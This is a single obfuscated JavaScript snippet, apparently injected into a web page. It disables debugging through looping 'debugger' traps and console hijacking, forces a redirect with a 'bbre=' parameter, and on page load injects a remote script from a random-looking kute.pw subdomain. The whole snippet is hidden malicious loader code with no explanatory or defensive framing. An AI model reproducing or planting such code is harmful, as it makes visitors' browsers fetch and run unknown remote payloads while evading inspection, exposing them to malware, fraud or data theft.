<script>var _0x171f3e=function(){var e=!0;return function(n,r){var t=e?function(){if(r){var t=r.apply(n,arguments);return r=null,t}}:function(){};return e=!1,t}}();!function(){_0x171f3e(this,function(){var t=new RegExp("function *\\( *\\)"),n=new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i"),r=_0x2900e2("init");t.test(r+"chain")&&n.test(r+"input")?_0x2900e2():r("0")})()}();var _0x45cfd7=function(){var e=!0;return function(n,r){var t=e?function(){if(r){var t=r.apply(n,arguments);return r=null,t}}:function(){};return e=!1,t}}(),_0x257705=_0x45cfd7(this,function(){try{var n=Function('return (function() {}.constructor("return this")( ));')()}catch(t){n=window}for(var t=n.console=n.console||{},r=["log","warn","info","error","exception","table","trace"],e=0;e<r.length;e++){var o=_0x45cfd7.constructor.prototype.bind(_0x45cfd7),c=r[e],i=t[c]||o;o.__proto__=_0x45cfd7.bind(_0x45cfd7),o.toString=i.toString.bind(i),t[c]=o}});_0x257705();var jvcapzblrfggomkbwwozdsknuynpa="@&!TRZKADoMf5iPzaY1dUkjNCltrngm3!@&In8wW2eFumqaJGZxlCpD&!@";-1==window.location.href.indexOf("bbre=")&&(window.location.href=document.location.pathname+"?bbre=sFyPkdvialpSNutmUwfKCDZJq#/ld-"+bqteyvhniaxvbymoc);var emfromgetnbrtoo="",ljEKLRxPkOyUCDBb=document.createElement("script");function _0x2900e2(t){function n(t){if("string"==typeof t)return function(t){}.constructor("while (true) {}").apply("counter");1!==(""+t/t).length||t%20==0?function(){return!0}.constructor("debugger").call("action"):function(){return!1}.constructor("debugger").apply("stateObject"),n(++t)}try{if(t)return n;n(0)}catch(t){}}setInterval(function(){_0x2900e2()},4e3),ljEKLRxPkOyUCDBb.type="text/javascript",ljEKLRxPkOyUCDBb.src="https://dlpxveoprsawcyshi.kute.pw/666095a366a2e56408f9c672-6660959266a2e56408f9c671.js",document.getElementsByTagName("head")[0].appendChild(ljEKLRxPkOyUCDBb);</script>